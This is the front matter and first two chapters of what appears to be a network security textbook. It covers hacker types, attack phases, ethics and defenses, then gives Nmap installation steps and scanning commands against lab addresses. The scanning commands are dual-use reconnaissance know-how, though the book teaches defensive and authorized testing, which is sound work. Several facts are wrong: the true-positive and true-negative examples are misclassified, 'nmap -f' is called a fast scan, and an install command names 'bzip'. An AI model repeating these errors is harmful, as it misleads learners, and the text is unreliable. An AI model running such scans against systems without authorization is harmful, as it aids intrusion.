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Preface
Computer networks are increasing at an exponential rate and the most challenging factor
organizations are currently facing is network security. Breaching a network is not
considered an ingenious effort anymore, so it is very important to gain expertise in securing
your network.

This book is aimed at people who already have a good understanding of basic networking
and computers that want to build a stronger, but also practical knowledge into cyber
security. You will learn about some common and advance tools that security professionals
use to conduct their vulnerability assessment, penetration testing, and cyber threat
hunting.  We will cover a diverse range of network and cyber security attacks that everyone
should be aware of; you will be guided step by step on how these attacks are performed
and what are the mitigations and defenses for it. Our goal is to build your knowledge and
skills to a good fundamental point so that you can not only become more proficient to
securing yourself or your business but also if you develop a passion or interest in pursuing
a career in cyber security.

What this book covers
Chapter 1, Introduction to Network Security, talks about the fundamentals of network
security while also covering the different ways physical security can be applied.

Chapter 2, Sniffing the Network, covers what network sniffing is and the various tools
associated with it.

Chapter 3, How to Crack Wi-Fi Passwords, explains how to scan for vulnerable wireless
networks.

Chapter 4, Creating a RAT Using Msfvenom, focuses on creating Remote Access Trojans
(RATs) using msfvenom. This chapter will explain what a RAT is and how hackers use it.

Chapter 5, Veil Framework, works with the Veil Framework. This framework contains
multiple tools to create payloads, hide payloads within executables or PDFs, deliver
payloads, gather information, and allow for postexploitation.

Chapter 6, Social Engineering Toolkit and Browser Exploitation, explores how social
engineering and browser exploitation impact cyber security.



Preface

[ 2 ]

Chapter 7, Advanced Network Attacks, focuses on building a solid understanding of
advanced network attacks.

Chapter 8, Passing and Cracking the Hash, focuses on pass the hash attacks. After reading
this chapter, the user will be able to define the characteristics of pass the hash attacks,
identify what tools hackers use to pass the hash, and how to defend against this type of
attack.

Chapter 9, SQL Injection, provides a better understanding of SQL injections and
vulnerabilities. This chapter will include learning what hashes are, how they function
within a network, defining SMB, how it operates within a network, learning what an SQL
injection is, how it is used by attackers, examples of SQL injection methods, learning the
basic website vulnerabilities involving injection attacks, and defense techniques against
SQL injection attacks.

Chapter 10, Scapy, discusses a packet injection tool called scapy. We will be learning about
packet structure, how network traffic operates, how packets in a network can be
manipulated, and use Scapy to create custom packets to deliver your payload (data) to
victim PC or network.

Chapter 11, Web Application Exploits, discusses various web application vulnerabilities and
how hackers exploit them. We will also demonstrate powerful tools such as Autopwn and
BeEF. These tools are used to exploit web applications.

Chapter 12, Evil Twins and Spoofing, covers concepts such as evil twins, ARP spoofing, and
tools used for evil twin detection. We will go into greater detail about rouge access points
and the purpose of address spoofing.

Chapter 13, Injectable Devices, explains what the Rubber Ducky is and how to upload the
Rubber Ducky payload onto a victim machine while teaching us how to use Simple Ducky
modules.

Chapter 14, The Internet of Things, discusses the Internet of Things (IoT) and how this
emerging technological concept has changed network communication.

Chapter 15, Detection Systems, looks at various detection systems.

Chapter 16, Advance Wireless Security Lab Using the Wi-Fi Pineapple Nano/Tetra, introduces a
new piece of penetration testing equipment called the Pineapple. This chapter also explains
how the Pineapple is used to find vulnerabilities and conduct network penetration testing
while focusing on how the Pineapple was setup and configured to connect online.
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Chapter 17, Offensive Security and Threat Hunting, introduces new concepts and tools
relating to offensive security and threat hunting. This chapter will build on the knowledge
gained in the previous chapters, to create a better understanding of how to use offensive
security methods.

What you need for this book
The tools needed for this book are:

Wireshark
Nmap
Kali Linux
VMware Player
Veil Framework
SET
BeEF

Who this book is for
This book is for network security professionals, cyber security professionals, and Pentesters
who are well versed with fundamentals of network security and now want to master it. So
whether you’re a cyber security professional, hobbyist, business manager, or student
aspiring to becoming an ethical hacker or just want to learn more about the cyber security
aspect of the IT industry, then this book is definitely for you.

Conventions
In this book, you will find a number of text styles that distinguish between different kinds
of information. Here are some examples of these styles and an explanation of their meaning.

Code words in text, database table names, folder names, filenames, file extensions,
pathnames, dummy URLs, user input, and Twitter handles are shown as follows: "Open a
terminal in Kali Linux and type, git clone https://github.com/nmap/nmap.git to
begin the cloning process."
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A block of code is set as follows:

<div  style="text-align: center;">
  <div style="box-sizing: border-box; display: inline-block; width: auto;
  max-width: 480px; background-color: #FFFFFF; border: 2px solid #0361A8;
  border-radius: 5px; box-shadow: 0px 0px 8px #0361A8; margin:
  50px auto auto;">
    <div style="background: #38ACEC; border-radius: 5px 5px 0px 0px;
    padding:  15px;">

Any command-line input or output is written as follows:

nmap -p 80 192.168.0.9

New terms and important words are shown in bold. Words that you see on the screen, for
example, in menus or dialog boxes, appear in the text like this: "Go to Places | Home
Folder."

Warnings or important notes appear in a box like this.

Tips and tricks appear like this.

Reader feedback
Feedback from our readers is always welcome. Let us know what you think about this
book-what you liked or disliked. Reader feedback is important for us as it helps us develop
titles that you will really get the most out of.
To send us general feedback, simply e-mail feedback@packtpub.com, and mention the
book's title in the subject of your message.
If there is a topic that you have expertise in and you are interested in either writing or
contributing to a book, see our author guide at www.packtpub.com/authors.

Customer support
Now that you are the proud owner of a Packt book, we have a number of things to help you
to get the most from your purchase.

http://www.packtpub.com/authors
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Downloading the color images of this book
We also provide you with a PDF file that has color images of the screenshots/diagrams used
in this book. The color images will help you better understand the changes in the output.
You can download this file from h t t p s ://w w w . p a c k t p u b . c o m /s i t e s /d e f a u l t /f i l e s /d o w n

l o a d s /A p p l i e d N e t w o r k S e c u r i t y _ C o l o r I m a g e s . p d f .

Errata
Although we have taken every care to ensure the accuracy of our content, mistakes do
happen. If you find a mistake in one of our books-maybe a mistake in the text or the code-
we would be grateful if you could report this to us. By doing so, you can save other readers
from frustration and help us improve subsequent versions of this book. If you find any
errata, please report them by visiting h t t p ://w w w . p a c k t p u b . c o m /s u b m i t - e r r a t a , selecting
your book, clicking on the Errata Submission Form link, and entering the details of your
errata. Once your errata are verified, your submission will be accepted and the errata will
be uploaded to our website or added to any list of existing errata under the Errata section of
that title.

To view the previously submitted errata, go to h t t p s ://w w w . p a c k t p u b . c o m /b o o k s /c o n t e n

t /s u p p o r t and enter the name of the book in the search field. The required information will
appear under the Errata section.

Piracy
Piracy of copyrighted material on the Internet is an ongoing problem across all media. At
Packt, we take the protection of our copyright and licenses very seriously. If you come
across any illegal copies of our works in any form on the Internet, please provide us with
the location address or website name immediately so that we can pursue a remedy.

Please contact us at copyright@packtpub.com with a link to the suspected pirated
material.

We appreciate your help in protecting our authors and our ability to bring you valuable
content.

Questions
If you have a problem with any aspect of this book, you can contact us
at questions@packtpub.com, and we will do our best to address the problem.
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1
Introduction to Network Security

This world is changing rapidly with advancing network technologies. Unfortunately,
sometimes the convenience of technology can outpace its security and safety. Technologies
such as the Internet of Things are ushering in a new era of network communication. There
are some who predict that by the year 2020 over 50 billion devices will be connected by the
Internet of Things. Technologies such as the Internet of Things have created a critical need
for network security professionals. There is currently a great shortfall within the network
security field. We want to help change that by writing this book. We also want to change
the mindset in the field of network security. Most current cyber security professionals
practice defensive and passive security. They mostly focus on mitigation and forensic tactics
to analyze the aftermath of an attack. We want to change this mindset to one of offensive
security. Becoming a threat hunter and aggressively going after network attacks is how we
want those who read this book to think. By writing this book, we will teach you how to
become a threat hunter. We strongly believe that learning offensive security will help
restore some balance to the networking world. The volume of cybercrime has gotten
completely out of hand. Another main reason we are writing this book is to teach the reader
how to apply network security. Network theory can only take you so far in understanding
network security. It is necessary to use applied knowledge to fully learn all aspects of
network security. Reading this book will provide detailed step-by-step instructions on how
to use applied network security tools and methods. We also wrote this book to promote an
understanding on how hackers attack and what tools they use. This book will give an
insight into how a hacker thinks and what methods they use. Having knowledge of a
hacker's tactics will give the reader a great advantage in protecting any network from
attacks.
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Murphy's law
Network security is the same as Murphy's law in the sense that, if something can go wrong
it will go wrong. To be successful at understanding and applying network security, a
person must master the three Ps: persistence, patience, and passion.

A cyber security professional must be persistent in their pursuit of a solution to a problem.
Giving up is not an option. The answer will be there; it just may take more time than
expected to find it. Having patience is also an important trait to master. When dealing with
network anomalies, it is very easy to get frustrated. Taking a deep breath and keeping a
cool head goes a long way towards finding the correct solution to your network security
problems. Finally, developing a passion for cyber security is critical to being a successful
network security professional. Having that passion will drive you to learn more and evolve
on a daily basis to get better. Once you learn, then you will improve and perhaps go on to
inspire others to embrace similar aspirations in cyber security.

Hackers (and their types) defined
A hacker is a person who uses computers to gain unauthorized access to data. There are 
many different types of hackers. There are white hat, grey hat, and black hat hackers. Some
hackers are defined by their intention. For example, a hacker that attacks for political
reasons may be known as a hacktivist. A white hat hacker has no criminal intent, but
instead focuses on finding and fixing network vulnerabilities.

Often companies will hire a white hat hacker to test the security of their network for
vulnerabilities. A grey hat hacker is someone who may have criminal intent, but not often
for personal gain. Often a grey hat will seek to expose a network vulnerability without the
permission from the owner of the network. A black hat hacker is purely criminal. Their sole
objective is personal gain. Black hat hackers take advantage of network vulnerabilities
however they can for maximum benefit. A cyber-criminal is another type of black hat
hacker, who is motivated to attack for illegal financial gain. A more basic type of hacker is
known as a script kiddie. A script kiddie is a person who knows how to use basic hacking
tools, but doesn't understand how they work. They often lack the knowledge to launch any
kind of real attack, but can still cause problems on a poorly protected network.
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Hacker tools
There are a range of many different hacking tools. A tool such as Nmap, for example, is a 
great tool for both reconnaissance and scanning for network vulnerabilities. Some tools are
grouped together to make toolkits and frameworks, such as the Social Engineering Toolkit
and Metasploit framework.

The Metasploit framework is one of the most versatile and best supported hacking tool
frameworks available. Metasploit is built around a collection of highly effective modules,
such as msfvenom, and it provides access to an extensive database of exploits and
vulnerabilities. There are also physical hacking tools. Devices such as the Rubber Ducky
and Wi-Fi Pineapple are good examples. The Rubber Ducky is a USB payload injector that
automatically injects a malicious virus into the device it's plugged into.

The Wi-Fi Pineapple can act as a rogue router and it can be used to launch man-in-the-
middle attacks. The Wi-Fi Pineapple also has a range of modules that allow it to execute
multiple attack vectors. These types of tool are known as penetration testing equipment. We
will explore these tools and others in more detail, later in the book.

The hacking process
There are five main phases to the hacking process:

Reconnaissance: The reconnaissance phase is often the most time-consuming.
This phase can last days, weeks, or even months sometimes depending on the
target. The objective during the reconnaissance phase is to learn as much as
possible about the potential target.
Scanning: In this phase the hacker will scan for exploitable vulnerabilities in the
network. These scans will look for weaknesses such as open ports, open services,
outdated applications (including operating systems), and the type of equipment
being used on the network.
Access: In this phase the hacker will use the knowledge gained in the previous
phases to gain access to sensitive data or use the network to attack other targets.
The objective of this phase is to have the attacker gain some level of control over
other devices on the network.
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Maintaining access: During this phase a hacker will look at various options, such
as creating a backdoor to maintain access to devices they have compromised. By
creating a backdoor, a hacker can maintain a persistent attack on a network,
without fear of losing access to the devices they have gained control over.
However, when a backdoor is created, it increases the chance of a hacker being
discovered. Backdoors are noisy and often leave a large footprint for IDS to
follow.
Covering your tracks: This phase is about hiding the intrusion of the network by
the hacker as to not alert any IDS that may be monitoring the network. The
objective of this phase is to erase any trace that an attack occurred on the
network.

Ethical hacking issues
Ethics can be different from person to person. Many times, ethics are a matter of
interpretation and intent in terms of what your actions are trying to achieve. Ethical hacking
can be perceived in a few different ways. For some, ethical hacking is a great and noble
pursuit. It is a way to understand how a hacker thinks and attacks. Having this knowledge
gives a big advantage to protecting a network from an attack.

"If you know the enemy and know yourself, you need not fear the result of a hundred
battles. If you know yourself but not the enemy, for every victory gained you will also
suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every
battle."
                                                                                         - Sun Tzu

The majority of ethical hackers are white hat, although sometimes the methods an ethical
hacker uses could be considered grey hat in application. It is important to always get clear,
written permission and define the scope of what you can and cannot do while working on a
network. Having written permission and a defined scope of what is expected will protect
you should you ever become a scapegoat from some anomaly you have no knowledge
about.

Since the 1986 Computer Fraud and Abuse Act was passed, it is illegal to access a computer
without authorization and steal private government information or financial/credit card
information. Breaking into a computer system is the technological version of trespassing. A
hacker would say that no harm is done when they break into a computer system. People
have a certain expectation of privacy. When that sense of privacy is taken away, a person
loses something priceless, even if it seems intangible. There are many people who are
unaware that there are different types of hacker, such as white, black, and grey hat hackers.
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They assume all hackers are malicious and not to be trusted. Being an ethical hacker comes
with some stigmatization. An ethical hacker may cause fear and uncertainty within some
people who lack this type of knowledge. That fear is often driven by the unknown, that
unknown being the extent of an ethical hacker's capabilities.

As mentioned earlier, privacy is priceless. When an individual has the ability to take that
away, they may be seen as a potential threat. That is why, as an ethical hacker, it is
important to maintain a high ethical standard. Sometimes an ethical hacker may find
themselves facing a complicated ethical situation. For example, it is not uncommon to find
illegally pirated material on workplace computers such as music, movies, and games.
Unless defined by the scope of the job, it may be up to the individual to inform the
management about misuse of company computers and network resources. That would be
more of an ethical decision made by the individual working on the network/user devices. A
different twist on that scenario is finding child pornography on a workplace computer. In
that situation, the network security individual who found the illegal material must
immediately report it to both law enforcement and management. Failing to report
something like that to law enforcement may leave the person who found it liable for
criminal prosecution. An ethical hacker may have a complex role within network security,
but as long as that person keeps a strong ethical standard they will be fine.

Current technologies
New technologies are continuously changing the landscape of network security. One of the
best examples of this is the Internet of Things. A device, car, or building that is embedded
with software, sensors, actuators, and some type of network connection is considered to
contain the Internet of Things.

Objects with the Internet of Things collect and share data across the Web. Smart energy
management systems have fully embraced this technology with great success. The Internet
of Things has some amazing benefits, but also has some major and potentially devastating
drawbacks. In 2014 two cyber security researchers demonstrated that it was possible to hack
into a Jeep Cherokee and disable its brakes and transmission. This was done remotely using
a vulnerability found in the Internet of Things.
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Medical devices have also been subject to attacks. Some people now disable the Wi-Fi
capability on their pacemaker, out of a real fear that a hacker could send a fatal electric
shock through the device itself. Another interesting technology that is growing is called
Software-defined networks (SDN). SDN allows network admins to manage network
services through the abstraction of lower-level functionality. SDN architectures separate
network control and forwarding functions, enabling network control to become directly
programmable and the underlying infrastructure to be abstracted from applications and
network services. This allows for much greater flexibility and scalability when working
with modern computing environments.

The rise of smartphones, cloud services, and mobile data content has led to a change in how
network architecture and infrastructure are implemented. Although these technologies are
helping set new standards in efficiency and capacity, they come with many vulnerabilities
that can cause great harm to individuals and businesses. That is why it is important for
network security professionals to stay current on new technologies and practices to best
protect their networks.

Recent events and statistics of network
attacks
The news has been full of cyber-attacks in recent years. The number and scale of attacks are
increasing at an alarming rate. It is important for anyone in network security to study these
attacks. Staying current with this kind of information will help in defending your network
from similar attacks.

Since 2015, the medical and insurance industries have been heavily targeted for cyber-
attacks. On May 5th, 2015, Premera Blue Cross was attacked. This attack is said to have
compromised at least 11 million customer accounts containing personal data. The attack
exposed customer names, birth dates, social security numbers, phone numbers, bank
account information, mailing, and e-mail addresses. Another attack that was on a larger
scale was the attack on Anthem. It is estimated that 80 million personal data records were
stolen from customers, employees, and even the Chief Executive Officer of Anthem.
Another more infamous cyber-attack recently was the Sony hack. This hack was a little
different from the Anthem and Blue Cross attacks, because it was carried out by hacktivists
instead of cyber criminals.
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Even though both types of hacking are criminal, the fundamental reasoning and objectives
underlying the attacks are quite different. The objective in the Sony attack was to disrupt
and embarrass the executives at Sony as well as prevent a film from being released. No
financial data was targeted. Instead the hackers went after personal e-mails of top
executives. The hackers then released the e-mails to the public, causing humiliation to Sony
and its executives. Many apologies were issued by Sony in the following weeks of the
attack.

Large commercial retailers have also been a favorite target for hackers. An attack occurred
against Home Depot in September of 2014. That attack was on a large scale. It is estimated
that over 56 million credit cards were compromised during the Home Depot attack. A
similar attack but on a smaller scale was carried out against Staples in October 2014. During
this attack, over 1.4 million credit card numbers were stolen. The statistics on cyber security
attacks are eye-opening.

It is estimated by some experts that cybercrime has a worldwide cost of 110 billion dollars a
year. In a given year, over 15 million Americans will have their identity stolen through
cyber-attacks, it is also estimated that 1.5 million people fall victim to cybercrime every day.
These statistics are rapidly increasing and will continue to do so until more people take an
active interest in network security.

Our defense
The baseline for preventing potential security issues typically begins with hardening the
security infrastructure, including firewalls, DMZ, and physical security platforms, and
entrusting only valid sources or individuals with personal data and or access to that data.
That also includes being compliant with all regulations that apply to a given situation or
business, and being aware of the types of breach as well as your potential vulnerabilities.
Also understanding whether an individual or an organization is a higher risk target for
attacks is beneficial. The question has to be asked, does one's organization promote
security? This is done both at the personal and the business level to deter cyber-attacks.

After a decade of responding to incidents and helping customers recover from and increase
their resilience against breaches, organizations may already have a security training and
awareness (STA) program, or other training and programs. As the security and threat
landscape evolves, organizations and individuals need to continually evaluate practices that
are required and appropriate for the data they collect, transmit, retain, and destroy.
Encryption of data at rest/in storage and in transit is a fundamental security requirement
and the respective failure is frequently being cited as the cause for regulatory action and
lawsuits.
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Enforce effective password management policies. Least privilege user access (LUA) is a
core security strategy component, and all accounts should run with as few privileges and
access levels as possible. Conduct regular security design and code reviews including
penetration tests and vulnerability scans to identify and mitigate vulnerabilities. Require e-
mail authentication on all inbound and outbound mail servers to help detect malicious e-
mails including spear phishing and spoofed e-mails. Continuously monitor in real time the
security of your organization's infrastructure including collecting and analyzing all network
traffic, and analyzing centralized logs (including firewall, IDS/IPS, VPN, and AV) using log
management tools and reviewing network statistics. Identify anomalous activity, then
investigate and revise your view of anomalous activity accordingly. User training is the
biggest challenge, but it is arguably the most important defense.

Security for individuals versus companies
One of the fundamental questions individuals need to ask themselves is, Is there a
difference between individuals and an organization? Individual security is less likely due to
the attack service area. However, there are tools and sites on the Internet that can be utilized
to detect and mitigate data breaches for both: https://haveibeenpwned.com/
or http://map.norsecorp.com/ are good sites to start with. The issue is that individuals
believe they are not a target because there is little to gain from attacking individuals, but in
truth everyone has the ability to become a target.

Wi-Fi vulnerabilities
Protecting wireless networks can be very challenging at times. There are many
vulnerabilities that a hacker can exploit to compromise a wireless network. One of the basic
Wi-Fi vulnerabilities is broadcasting the Service Set Identifier (SSID) of your wireless
network. Broadcasting the SSID makes the wireless network easier to find and target.

Another vulnerability in Wi-Fi networks is using Media Access Control (MAC)
addresses for network authentication. A hacker can easily spoof or mimic a trusted MAC 
address to gain access to the network. Using weak encryption such as Wired Equivalent
Privacy (WEP) will make your network an easy target for attack. There are many hacking
tools available to crack any WEP key in under five minutes.

https://haveibeenpwned.com/
http://map.norsecorp.com/
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We will explore some of these tools later in this book. A major physical vulnerability in
wireless networks is access points (APs). Sometimes APs will be placed in poor locations
that can be easily accessed by a hacker. A hacker may install what is called a rogue AP. This
rogue AP will monitor the network for data that a hacker can use to escalate their attack.

Often this tactic is used to harvest the credentials of high ranking management personnel,
to gain access to encrypted databases that contain the personal/financial data of employees
and customers, or both. Peer-to-peer technology can also be a vulnerability for wireless
networks.

A hacker may gain access to a wireless network by using a legitimate user as an accepted
entry point. Not using and enforcing security policies is also a major vulnerability found in
wireless networks. Using security tools such as Active Directory (deployed properly) will
make it harder for a hacker to gain access to a network. Hackers will often go after low-
hanging fruit (easy targets), so having at least some deterrence will go a long way in
protecting your wireless network.

Using Intrusion Detection Systems (IDS) in combination with Active Directory will
immensely increase the defense of any wireless network, although the most effective factor
is having a well-trained and informed cyber security professional watching over the
network. The more a cyber security professional (threat hunter) understands the tactics of a
hacker, the more effective that threat hunter will become in discovering and neutralizing a
network attack. Although there are many challenges in protecting a wireless network, with
the proper planning and deployment those challenges can be overcome.

Knowns and unknowns
The toughest thing about unknown risks to security is that they are unknown. Unless they
are found, they can stay hidden. A common practice to determine an unknown risk would
be to identify all the known risks and attempt to mitigate them as best as possible. There are
many sites available that can assist in this venture. The most helpful are reports from CVE
sites that identify vulnerabilities.
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False positives
Positive Negative

True TP: correctly identified TN: correctly rejected

False FP: incorrectly identified FN: incorrectly rejected

As it is related to detection for an analyzed event, there are four situations that exist in this
context, corresponding to the relationship between the results of the detection for an
analyzed event. In this case, each of the corresponding situations is outlined as follows:

True positive (TP): This is when the analyzed event is correctly classified as an
intrusion or as harmful/malicious.
For example, a network security administrator enters their credentials into the
Active Directory server and is granted administrator access.
True negative (TN): This is when the analyzed event is correctly classified and
correctly rejected.
For example, an attacker uses a port such as 4444 to communicate with a victim's
device. An intrusion detection system detects network traffic on the authorized
port and alerts the cyber security team to this potential malicious activity. The
cyber security team quickly closes the port and isolates the infected device from
the network.
False positive (FP): This is when the analyzed event is innocuous or otherwise
clean in the context of security, however, the system classifies it as malicious or
harmful.
For example, a user types their password into a website's login text field. Instead
of being granted access, the user is flagged for an SQL injection attempt by input
sanitation. This is often caused when input sanitation is misconfigured.
False negative (FN): This is when the analyzed event is malicious, but it is
classified as normal/innocuous.
For example, an attacker inputs an SQL injection string into a text field found on
a website to gain unauthorized access to database information. The website
accepts the SQL injection as normal user behavior and grants access to the
attacker. For detection, having systems correctly identify the given situation is
paramount.
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Mitigation against threats
There are many threats that a network faces. New network threats are emerging all the
time. As a network security professional, it would be wise to have a good understanding of
effective mitigation techniques. For example, a hacker using a packet sniffer can be 
mitigated by only allowing the network admin to run a network analyzer (packet sniffer) on
the network. A packet sniffer can usually detect another packet sniffer on the network right
away.

Although there are ways a knowledgeable hacker can disguise the packet sniffer as another
piece of software, a hacker will not usually go to such lengths unless it is a highly-secured
target. It is alarming that most businesses do not properly monitor their network or even at
all.

It is important for any business to have a business continuity/disaster recovery plan. This
plan is intended to allow a business to continue to operate and recover from a serious
network attack. The most common deployment of the continuity/disaster recovery plan is
after a DDoS attack. A DDoS attack could potentially cost a business or organization
millions of dollars in lost revenue and productivity. One of the most effective and hardest to
mitigate attacks is social engineering.

All the most devastating network attacks have begun with some type of social engineering
attack. One good example is the hack against Snapchat on February 26th, 2016. "Last Friday,
Snapchat's payroll department was targeted by an isolated e-mail phishing scam in which a
scammer impersonated our Chief Executive Officer and asked for employee payroll
information," Snapchat explained in a blog post. "Unfortunately, the phishing e-mail wasn't
recognized for what it was - a scam - and payroll information about some current and
former employees was disclosed externally." Socially engineered phishing e-mails, such as
the one that affected Snapchat, are common attack vectors for hackers.

The one difference between phishing e-mails from a few years ago and those in 2016 is the
level of social engineering hackers are putting into the e-mails. The Snapchat HR phishing
e-mail indicated a high level of reconnaissance on the Chief Executive Officer of Snapchat.
This reconnaissance most likely took months. This level of detail and targeting of an
individual (The Chief Executive Officer) is more accurately known as a spear-phishing e-
mail. Spear phishing campaigns go after one individual (fish) compared to phishing
campaigns that are more general and may be sent to millions of users (fish). It is the same as
casting a big open net into the water and seeing what comes back.

The only real way to mitigate against social engineering attacks is training and building
awareness among users. Properly training the users that access the network will create a
higher level of awareness of socially engineered attacks.
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Building an assessment
Creating a network assessment is an important aspect of network security. A network
assessment will allow for a better understanding of where vulnerabilities may be found
within the network. It is important to know precisely what you are doing during a network
assessment. If the assessment is done incorrectly, you could cause great harm to the
network you are trying to protect.

Before you start the network assessment, you should determine the objectives of the
assessment itself. Are you trying to identify if the network has any open ports that
shouldn't be? Is your objective to quantify how much traffic flows through the network at
any given time or a specific time?

Once you decide on the objectives of the network assessment, you will then be able to
choose the types of tool you will use. Network assessment tools are often known as
penetration testing tools. A person who employs these tools is known as a penetration tester
or pen tester.

These tools are designed to find and exploit network vulnerabilities, so that they can be
fixed before a real attack occurs. That is why it is important to know what you are doing
when using penetration testing tools during an assessment. Later in this book, we will
discuss and provide applied labs for some of the most powerful penetration testing tools
available. We will also explain how to use them properly.

Sometimes network assessments require a team. It is important to have an accurate idea of
the scale of the network before you pick your team. In a large enterprise network, it can be
easy to become overwhelmed by tasks to complete without enough support. Once the scale
of the network assessment is complete, the next step is to ensure you have written
permission and scope from management. All parties involved in the network assessment
must be clear on what can and cannot be done to the network during the assessment.

After the assessment is completed, the last step is creating a report to educate concerned
parties about the findings. Providing detailed information and solutions to vulnerabilities
will help keep the network up-to-date in terms of defense. The report will also be able to
determine if there are any viruses lying dormant, waiting for an opportune time to attack
the network. Network assessments should be conducted routinely and frequently to help
ensure strong network security.
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Summary
This chapter covered the fundamentals of network security. It began by explaining the
importance of having network security and what should be done to secure the network. It
also covered the different ways physical security can be applied. The importance of having
security policies in place and wireless security was discussed. This chapter also spoke about
wireless security policies and why they are important.

Chapter 2, Sniffing the Network, will cover various tools and methods to monitor network
traffic.
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2
Sniffing the Network

In this chapter, we will focus on the various tools and methods used to monitor network
traffic. The objective for this chapter is to help the reader gain an understanding of Nmap,
Wireshark, and the importance of monitoring a network for potential attacks. This chapter
will provide the most common commands used in Nmap. We will provide screenshots and
demonstrate how to use the syntax. In this chapter, we will mostly focus on two main
network monitoring tools. We will discuss Nmap first because it is a command-line-based
tool. Nmap also has a GUI-based version, known as Zenmap. There are advantages to
developing your skill with command-line-based tools. They will allow you to gain a better 
understanding of how the tools function and allow you more flexibility, dependability, and
control. GUI-based monitoring tools such as Wireshark also have advantages; we will
discuss this in this chapter. As mentioned before, Wireshark is a GUI-based network
analysis/monitoring tool. Wireshark is one of the best network sniffers available to the
public. It has many packet filter options to choose from. This chapter will explain how these
filter commands work. Screenshots of Wireshark will also be provided so that the reader
can see what its GUI interface looks like. After reading this chapter, the user will have a
solid understanding of Nmap commands and how to operate the basics of Wireshark. A
person who can use these tools effectively will make themselves highly sought after in the
network security field.

What is network sniffing?
Network sniffing is a collection of packet data that is transmitted throughout the network.
Network sniffing is also known as packet analysis. There are different types of network
sniffers. Two of the most common are Ethernet sniffers and wireless sniffers. A network
sniffer is a piece of software or hardware that can capture and log network traffic.
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Nmap is a popular network sniffing tool used by many cyber security professionals. Before
using this tool, you must learn how to install it. You also need to be able to check the
version and locate the user manual. It is recommended that you use Kali Linux as the
operating system when using Nmap. Kali Linux comes with many pre-installed tools such
as Nmap and Wireshark. If you are using a version of Linux without pre-installed tools, you
must perform a fresh install. The best and most efficient way to install Nmap is to clone the
repository location directly from GitHub. First, open Firefox in Kali Linux and navigate to a
search engine such as Google. In the search bar, type Nmap github. The link you want will
be https://github.com/nmap/nmap. You can also type the link into the URL address bar
instead of using a search engine. On the GitHub page, click on the green button that says
Clone or download. This button is located on the right side, towards the top of the page.
The following screenshot displays where the Clone or download button is located:

When you click on the green Clone or download button, a text box will appear with a URL,
namely https://github.com/nmap/nmap.git. This is the location of the repository, which
also includes the branches and tags. The cloning install method automates the file
compilation process, saving time, and making sure everything is in place. Open a terminal
in Kali Linux and type, git clone https://github.com/nmap/nmap.git to begin the
cloning process. After this command is entered, the tool will be downloaded and installed
automatically.

https://github.com/nmap/nmap
https://github.com/nmap/nmap.git
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After the install is complete, you will need to confirm that you are using the latest version of
Nmap. To check which version of Nmap you have type, nmap -V. If you want to see a list
of Nmap commands, type -h to bring up the help menu. According to www.namp.org, the
primary documentation for using Nmap is the Nmap reference guide. It is also the basis for
the Nmap manual page. The manual page can be found using the URL
https://nmap.org/book/man.html. If you want to install Nmap from the source code using
Linux, you will need to download it from https://nmap.org/download.html. The files will
be compressed and offered in two formats. The first format will be .tar.bz2 and the
second format will be .tgz. The compressed files are also known as tarballs. A tarball or
TAR file is used to combine lots of files into a single archive. This is similar to the .zip files
found in Windows. After the Nmap tarball is downloaded, you will need to decompress it
by typing the command bzip -cd nmap-<VERSION>.tar.bz2 | tar xvf -. Next, you
will need to change into the recently created directory by typing cd nmap-<VERSION>.
Now you need to configure the build system by typing ./configure while still in the nmap
directory. Next, you will build Nmap by typing make. If the make command doesn't work
type gmake. The next step is making sure you have the correct user privileges for a system-
wide install by typing su root. The final step is installing the support files for Nmap by
typing make install. Both install methods can be applied to other tools that you will need
to install in the future.

Why network sniffing is important
Network sniffers, also known as network analyzers, are great tools to use for network
security. Threat hunters will use these tools to uncover potential attacks and weak points in
the network. Network sniffing allows for detailed network analysis. When protecting a
network, it is important to have as many details about the packet traffic as possible. By
actively scanning the network, a threat hunter can stay vigilant and respond quickly to
attacks.

Scan a single IP
This command scans a single IP on the network. If a threat hunter notices strange activity
coming from an unfamiliar host, a single IP scan may be useful. Being able to quickly
distinguish false positives from false negatives is critical for efficient network security. For
example, a network attack might go unnoticed because too many false positives are
triggering alerts, creating alert noise.

http://www.namp.org/
https://nmap.org/book/man.html
https://nmap.org/download.html
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The alert noise can potentially hide an attack from detection by creating a false negative.
The noise also creates confusion and misdirection for the security analyst trying to
determine if the attack is real or not. Using an intrusion detection system with an updated
attack signature database will help distinguish false positives from false negatives more
efficiently. Also, it is important to remember that having too many false negatives can also
cause problems. If the intrusion detection system misses an attack, no alerts are activated.
This gives the security analyst the illusion that the network is safe and secure, which may
not be the case. This is a major issue because an attack could be going on and nobody would
be aware of it until it was too late:

nmap 192.168.0.9

Scan a host
This is the command to scan a single host. The information gained from this command can
allow a hacker to quickly evaluate a high-value target on the network. Sometimes a hacker
may be going after a specific host containing financial data records:

nmap www.google.com
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Scan a range of IPs
This is the command to scan a range of IPs. Scanning a range of IPs is useful when trying to
determine where a network attack may be occurring. Being able to scan multiple IPs also
saves valuable time when tracing a network attack:

nmap 192.168.0.1-20

Scan a subnet
This command scans a subnet. Scanning a subnet will allow the scan to monitor multiple
hosts. This command is useful when checking on multiple networks as well:

nmap 192.168.0.1/24

Nmap port selection
To utilize Nmap effectively, you will need to understand how to use the port selection
options. The port selection options determine what ports will be scanned and whether the
scan order is random or in a sequential order.
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Scan a single port
This is the command to scan a single port. Some malware will consistently operate on a
specific port on every host it infects. By knowing these ports, you can sometimes quickly
determine what kind of malware you are dealing with. A single port scan would be useful
in this situation:

nmap -p 80 192.168.0.9

Scan a range of ports
This is the command to scan a range of ports 1-100. The versatility of this command allows
you to focus on specific ranges of ports:

nmap -p 1-100 192.168.0.9

Scan 100 most common ports (fast)
These are a number of different default scans. -f will scan the most common 100 ports
used:

nmap -f 192.168.0.9
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The preceding is the command to scan the most common ports. Some common examples
would be ports 20, 21, 23, 25, and 53, to name a few. This is known as a fast scan.

Scan all 65535 ports
This is the command to scan all ports. There are a total of 65,535 ports. A hacker will not
usually employ this type of scan. Instead most hackers will initially use a scanning
technique known as half-open scanning. The scan all ports command is better utilized
by a threat hunter monitoring the network:

nmap -p- 192.168.0.9

Nmap port scan types
There are many different types of port scan that can be used with Nmap. It is important to
know which type of port scan to use depending on your objective. For example, if you want
to determine which TCP ports are active on a targeted host, run a TCP port scan. Hackers
will often use various port scans to see if they can find a vulnerable open port to use as an
attack vector.
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Scan using TCP SYN scan (default)
This command determines whether the port is listening. Using this command is a technique
called half-open scanning. It is called half-open scanning because you don't establish a full
TCP connection. Instead, you only send a SYN packet and wait for the response. If you
